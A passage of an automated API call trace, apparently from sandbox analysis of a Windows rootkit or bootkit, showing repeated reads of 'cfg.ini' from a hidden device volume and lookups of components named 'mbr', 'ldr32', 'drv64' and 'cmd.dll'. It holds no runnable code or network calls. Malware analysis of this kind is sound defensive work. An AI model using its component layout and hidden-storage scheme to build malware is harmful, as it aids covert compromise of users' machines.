IdePortDispatch () returned 0x103 [0130.512] KeWaitForMutexObject () returned 0x0 [0130.512] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.512] KeLeaveCriticalRegion () [0130.512] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.512] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.512] KeEnterCriticalRegion () [0130.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.512] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d68000 [0130.512] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.512] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.512] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.512] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.512] IdePortDispatch () returned 0x103 [0130.512] KeWaitForMutexObject () returned 0x0 [0130.513] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.513] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.513] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.513] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.513] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.513] IdePortDispatch () returned 0x103 [0130.513] KeWaitForMutexObject () returned 0x0 [0130.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.513] KeLeaveCriticalRegion () [0130.513] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.513] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.513] KeEnterCriticalRegion () [0130.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.513] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.513] KeLeaveCriticalRegion () [0130.513] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.513] KeEnterCriticalRegion () [0130.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.513] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.513] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002845b10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.514] KeLeaveCriticalRegion () [0130.514] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.514] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.514] KeEnterCriticalRegion () [0130.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.514] ExFreePoolWithTag (P=0xfffffa800294c450, Tag=0x0) [0130.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.514] KeLeaveCriticalRegion () [0130.514] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.514] ReleaseMutex (hMutex=0xf0) returned 1 [0130.514] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.514] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.514] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.514] KeEnterCriticalRegion () [0130.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.514] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.514] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.514] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.514] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.514] IdePortDispatch () returned 0x103 [0130.514] KeWaitForMutexObject () returned 0x0 [0130.514] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.514] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.514] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.514] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.514] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.514] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c910 [0130.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.514] KeLeaveCriticalRegion () [0130.514] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.514] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.514] KeEnterCriticalRegion () [0130.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.514] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.514] KeLeaveCriticalRegion () [0130.514] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.515] KeEnterCriticalRegion () [0130.515] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.515] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.515] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.515] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.515] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.515] IdePortDispatch () returned 0x103 [0130.515] KeWaitForMutexObject () returned 0x0 [0130.515] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.515] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.515] KeLeaveCriticalRegion () [0130.515] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.515] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.515] KeEnterCriticalRegion () [0130.515] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.515] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d69000 [0130.515] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.515] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.515] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.515] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.515] IdePortDispatch () returned 0x103 [0130.515] KeWaitForMutexObject () returned 0x0 [0130.515] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.515] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.515] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.515] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.515] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.515] IdePortDispatch () returned 0x103 [0130.516] KeWaitForMutexObject () returned 0x0 [0130.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.516] KeLeaveCriticalRegion () [0130.516] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.516] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.516] KeEnterCriticalRegion () [0130.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.516] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.516] KeLeaveCriticalRegion () [0130.516] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.516] KeEnterCriticalRegion () [0130.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.516] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.516] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294c9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.516] KeLeaveCriticalRegion () [0130.516] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.516] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.516] KeEnterCriticalRegion () [0130.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.516] ExFreePoolWithTag (P=0xfffffa800294c910, Tag=0x0) [0130.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.517] KeLeaveCriticalRegion () [0130.517] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.517] ReleaseMutex (hMutex=0xf0) returned 1 [0130.517] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.517] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.517] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.517] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.517] KeEnterCriticalRegion () [0130.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.517] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.517] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.517] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.517] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.517] IdePortDispatch () returned 0x103 [0130.517] KeWaitForMutexObject () returned 0x0 [0130.517] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.517] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.517] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.517] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.517] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.517] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.517] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.517] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.517] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.517] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.517] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.517] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.517] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.517] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.517] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.517] KeLeaveCriticalRegion () [0130.517] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.517] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.517] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.517] KeEnterCriticalRegion () [0130.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.518] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.518] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.518] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.518] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.518] IdePortDispatch () returned 0x103 [0130.519] KeWaitForMutexObject () returned 0x0 [0130.519] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.519] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.519] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.519] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.519] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.519] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.519] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.519] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.519] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.519] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.519] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.519] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.519] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.519] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.519] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.519] KeLeaveCriticalRegion () [0130.519] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.519] ReleaseMutex (hMutex=0x100) returned 1 [0130.519] Sleep (dwMilliseconds=0x2bf20) [0130.525] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70e93c10, dwHighDateTime=0x1d24fa4)) [0130.525] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.525] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.525] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.525] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.526] KeEnterCriticalRegion () [0130.526] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.526] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.526] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.526] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.526] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.526] IdePortDispatch () returned 0x103 [0130.526] KeWaitForMutexObject () returned 0x0 [0130.526] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.526] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.526] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.526] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.526] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.526] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c08150 [0130.526] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.526] KeLeaveCriticalRegion () [0130.526] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.526] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.526] KeEnterCriticalRegion () [0130.526] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.526] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.526] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.526] KeLeaveCriticalRegion () [0130.526] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.526] KeEnterCriticalRegion () [0130.526] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.526] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.526] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.526] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.526] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.526] IdePortDispatch () returned 0x103 [0130.526] KeWaitForMutexObject () returned 0x0 [0130.526] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.527] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.527] KeLeaveCriticalRegion () [0130.527] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.527] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.527] KeEnterCriticalRegion () [0130.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.527] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d6c000 [0130.527] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.527] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.527] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.527] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.527] IdePortDispatch () returned 0x103 [0130.527] KeWaitForMutexObject () returned 0x0 [0130.527] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.527] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.527] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.527] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.527] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.527] IdePortDispatch () returned 0x103 [0130.527] KeWaitForMutexObject () returned 0x0 [0130.527] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.527] KeLeaveCriticalRegion () [0130.527] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.528] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.528] KeEnterCriticalRegion () [0130.528] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.528] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.528] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.528] KeLeaveCriticalRegion () [0130.528] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.528] KeEnterCriticalRegion () [0130.528] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.528] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.528] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294d760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.528] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.528] KeLeaveCriticalRegion () [0130.528] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.528] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.528] KeEnterCriticalRegion () [0130.528] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.528] ExFreePoolWithTag (P=0xfffffa8003c08150, Tag=0x0) [0130.528] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.528] KeLeaveCriticalRegion () [0130.528] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.528] ReleaseMutex (hMutex=0xf0) returned 1 [0130.528] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.528] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.528] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 